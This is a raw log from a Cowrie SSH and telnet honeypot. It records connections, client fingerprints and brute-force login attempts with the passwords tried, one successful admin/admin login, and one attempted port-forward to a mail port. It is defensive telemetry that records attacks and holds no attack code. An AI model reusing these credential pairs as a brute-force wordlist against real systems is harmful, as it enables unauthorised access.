57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:17.946555Z","src_ip":"193.46.255.86","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:18.506515Z","src_ip":"193.46.255.86","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:19.632172Z","src_ip":"193.46.255.86","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:19.756726Z","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:19.882704Z","src_ip":"193.46.255.86","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:20.013446Z","src_ip":"193.46.255.86","session":"113dae5abf8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.94008255004883,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:20.122124Z","src_ip":"79.139.59.21","session":"ac88cb5fe4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38822,"dst_ip":"10.17.0.5","dst_port":22,"session":"95782d144278","protocol":"ssh","message":"New connection: 194.59.206.2:38822 (10.17.0.5:22) [session: 95782d144278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:25.267387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:25.272308Z","src_ip":"194.59.206.2","session":"95782d144278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:25.362590Z","src_ip":"194.59.206.2","session":"95782d144278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:25.457126Z","src_ip":"194.59.206.2","session":"95782d144278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":55502,"dst_ip":"159.203.135.109","dst_port":22,"session":"560ad19cfd0c","protocol":"ssh","message":"New connection: 191.101.59.86:55502 (159.203.135.109:22) [session: 560ad19cfd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:51.461668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:51.466120Z","src_ip":"191.101.59.86","session":"560ad19cfd0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:51.541719Z","src_ip":"191.101.59.86","session":"560ad19cfd0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c","message":"login attempt [root/1a2b3c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:52.196601Z","src_ip":"191.101.59.86","session":"560ad19cfd0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:13:53.287090Z","src_ip":"191.101.59.86","session":"560ad19cfd0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39638,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4354e9b535","protocol":"ssh","message":"New connection: 103.82.132.16:39638 (159.203.135.109:22) [session: be4354e9b535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:07.708544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:07.718764Z","src_ip":"103.82.132.16","session":"be4354e9b535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:07.968389Z","src_ip":"103.82.132.16","session":"be4354e9b535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasha2001","message":"login attempt [root/dasha2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:08.714566Z","src_ip":"103.82.132.16","session":"be4354e9b535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":64696,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dddc0e2a2e6","protocol":"ssh","message":"New connection: 38.93.206.2:64696 (159.203.135.109:22) [session: 3dddc0e2a2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:09.171021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:09.175860Z","src_ip":"38.93.206.2","session":"3dddc0e2a2e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:09.226937Z","src_ip":"38.93.206.2","session":"3dddc0e2a2e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230687","message":"login attempt [root/230687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:09.381983Z","src_ip":"38.93.206.2","session":"3dddc0e2a2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:09.965576Z","src_ip":"103.82.132.16","session":"be4354e9b535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:10.438701Z","src_ip":"38.93.206.2","session":"3dddc0e2a2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50866,"dst_ip":"10.17.0.5","dst_port":22,"session":"5789c553a4b9","protocol":"ssh","message":"New connection: 103.27.238.120:50866 (10.17.0.5:22) [session: 5789c553a4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:21.719786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:21.729489Z","src_ip":"103.27.238.120","session":"5789c553a4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46476,"dst_ip":"10.17.0.5","dst_port":22,"session":"66ec690bad71","protocol":"ssh","message":"New connection: 103.27.238.116:46476 (10.17.0.5:22) [session: 66ec690bad71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:21.873069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:21.879988Z","src_ip":"103.27.238.116","session":"66ec690bad71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:21.987734Z","src_ip":"103.27.238.120","session":"5789c553a4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:22.141492Z","src_ip":"103.27.238.116","session":"66ec690bad71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty2000","message":"login attempt [root/qwerty2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:22.762539Z","src_ip":"103.27.238.120","session":"5789c553a4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kartoshka","message":"login attempt [root/kartoshka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:22.926389Z","src_ip":"103.27.238.116","session":"66ec690bad71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:24.023669Z","src_ip":"103.27.238.120","session":"5789c553a4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:24.189691Z","src_ip":"103.27.238.116","session":"66ec690bad71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":35940,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9e871539bd2","protocol":"ssh","message":"New connection: 31.41.152.180:35940 (159.203.135.109:22) [session: d9e871539bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:38.930760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:38.935641Z","src_ip":"31.41.152.180","session":"d9e871539bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:39.049265Z","src_ip":"31.41.152.180","session":"d9e871539bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dh-qQ3j!soft","message":"login attempt [root/dh-qQ3j!soft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:39.535557Z","src_ip":"31.41.152.180","session":"d9e871539bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:40.653334Z","src_ip":"31.41.152.180","session":"d9e871539bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":48274,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32f35d16f40","protocol":"ssh","message":"New connection: 85.11.167.46:48274 (10.17.0.5:22) [session: c32f35d16f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:54.588971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:54.594588Z","src_ip":"85.11.167.46","session":"c32f35d16f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:54.677022Z","src_ip":"85.11.167.46","session":"c32f35d16f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:14:54.931620Z","src_ip":"85.11.167.46","session":"c32f35d16f40","protocol":"ssh"}
